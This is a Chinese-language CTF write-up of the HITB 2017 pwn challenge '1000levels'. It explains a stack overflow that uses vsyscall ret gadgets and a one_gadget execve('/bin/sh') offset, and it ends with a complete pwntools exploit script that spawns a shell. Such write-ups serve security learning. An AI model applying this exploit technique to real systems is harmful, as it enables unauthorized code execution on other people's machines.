上周的HITB CTF 2017看了两道Pwn题,可是都没做出来,看了writeup后,发现又学到了新姿势了…..
题目在我GitHub上有:🔞https://github.com/Hcamael/CTF_repo/tree/master/HITB%20CTF%202017/Pwn2(1000levels)
1000levels
这题是一道栈溢出的题目,溢出点也很容易找到,但问题是开了EIP,当时的思路是想可能有啥骚操作可以让hint函数泄露出system地址……可惜一直想错了,最主要有一个知识点我不知道
1 2
| $ cat /proc/self/maps ffffffffff600000-ffffffffff601000 r-xp 00000000 00:00 0 [vsyscall]
|
以前从来没注意到过,linux下的每个程序都有一个这样的虚拟地址,而且不管开没开EIP,这段地址都是不变的。
再开看看这段地址是啥指令:
1 2 3 4
| pwndbg> x/5i 0xffffffffff600000 0xffffffffff600000: mov rax,0x60 0xffffffffff600007: syscall 0xffffffffff600009: ret
|
就是一个不知道啥的系统调用然后ret,然后查了一些资料,这段地址是内核映射出来让程序调用内核一些功能的。而这段有用的指令就是一个ret,那么通过这个ret我们能进行怎样的骚操作?
首先要先能理清楚栈结构,当我们的的流程是这样的时候:
1
| main -> hint -> main -> go -> level
|
首先我们调用hint函数时,栈是这样的:
然后在hint函数中并没有输出system的地址,但是却把system的地址放入了栈中
执行完hint函数后,返回main函数,然后再调用go函数,这个时候栈是这样的:
在hint函数中存放system地址的栈是在上图中变量v6的位置,在go函数中还调用了level函数,而溢出正好就是在level函数中,所以如果我们溢出构造一个栈地址如下所示
0xffffffffff600000 |
0xffffffffff600000 |
0xffffffffff600000 |
v6(&system) |
这样就能执行system函数了
然后我们再来解决其他问题,v6是啥?会不会覆盖system,能执行system但是不能控制参数等问题。
见如下代码:
1 2 3 4 5 6 7 8
| v2 = read_num(); if ( v2 > 0 ) v5 = v2; else puts("Coward"); puts("Any more?"); v3 = read_num(); v6 = v5 + v3;
|
上面的代码是ida反编译go函数的代码,这部分要结合汇编看
v5和v6的地址是一样的,所以如果输入的v2值大于0,则会把system的地址覆盖掉,这很好解决,输入负数和0都行,然后通过v3的输入,我们能在system地址的基础上进行加减。
因为有libc,所以我们可以先获取system的符号地址为0x45390
然后使用one_gadget
工具:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| $ one_gadget libc.so.6 0x4526a execve("/bin/sh", rsp+0x30, environ) constraints: [rsp+0x30] == NULL
0xcd0f3 execve("/bin/sh", rcx, r12) constraints: [rcx] == NULL || rcx == NULL [r12] == NULL || r12 == NULL
0xcd1c8 execve("/bin/sh", rax, r12) constraints: [rax] == NULL || rax == NULL [r12] == NULL || r12 == NULL
0xf0274 execve("/bin/sh", rsp+0x50, environ) constraints: [rsp+0x50] == NULL
0xf1117 execve("/bin/sh", rsp+0x70, environ) constraints: [rsp+0x70] == NULL
0xf66c0 execve("/bin/sh", rcx, [rbp-0xf8]) constraints: [rcx] == NULL || rcx == NULL [[rbp-0xf8]] == NULL || [rbp-0xf8] == NULL
|
能获取到执行execve('/bin/sh')
指令的地址,随便选一个和system地址相减得到差值,这个值就是v3,这样就把system的地址设置成执行execve
的地址了,这样当rip跳到这里时就能直接执行系统命令了。
但是还有一个小细节:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
| if ( v6 > 0 ) { if ( v6 <= 999 ) { v7 = v6; } else { puts("More levels than before!"); v7 = 1000LL; } puts("Let's go!'"); v4 = time(0LL); if ( (unsigned int)level(v7) != 0 ) { v1 = time(0LL); sprintf((char *)&v8, "Great job! You finished %d levels in %d seconds\n", v7, (unsigned int)(v1 - v4), v3); puts((const char *)&v8); } else { puts("You failed."); } exit(0); }
|
因为execve
的地址大于999,所以v7被设置为1000,所以level需要进行1000次递归
第一种思路是写代码,自动答对所有题目,然后在最后一次递归的时候溢出
还有因为溢出的长度有0x200,所以其实不必跑1000次
如果没有答对题目,递归则会退出,就没法进行溢出了
最后得到payload:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47
|
from pwn import *
DEBUG = 1
if DEBUG: p = process('./1000levels', env={'LD_PRELOAD':'./libc.so.6'}) context.terminal = ['terminator', '-x', 'sh', '-c'] context.log_level = "debug" else: p = remote('47.74.147.103', 20001)
libc_base = -0x45390 one_gadget_base = 0x4526a
def ansewer(): p.recvuntil('Question: ') tmp1 = eval(p.recvuntil(' ')[:-1]) p.recvuntil('* ') tmp2 = eval(p.recvuntil(' ')[:-1]) p.sendline(str(tmp1 * tmp2))
def ansewer2(): p.recvuntil("Answer:") p.sendline("233")
p.recvuntil('Choice:') p.sendline('2') p.recvuntil('Choice:') p.sendline('1') p.recvuntil('How many levels?') p.sendline('-1') p.recvuntil('Any more?')
p.sendline(str(libc_base+one_gadget_base)) for i in range(999): log.info(i) ansewer() p.recvuntil('Question: ')
p.send('a'*0x38 + p64(0xffffffffff600000) * 3) p.interactive()
|
PS: 这题我没做出来,是看别人的Payload学习的,所以上面的Payload不是我自己写的.
PSS: 因为有别的重要的事,所以另外一题堆的题目暂时没空更新,等有空了会更新上来的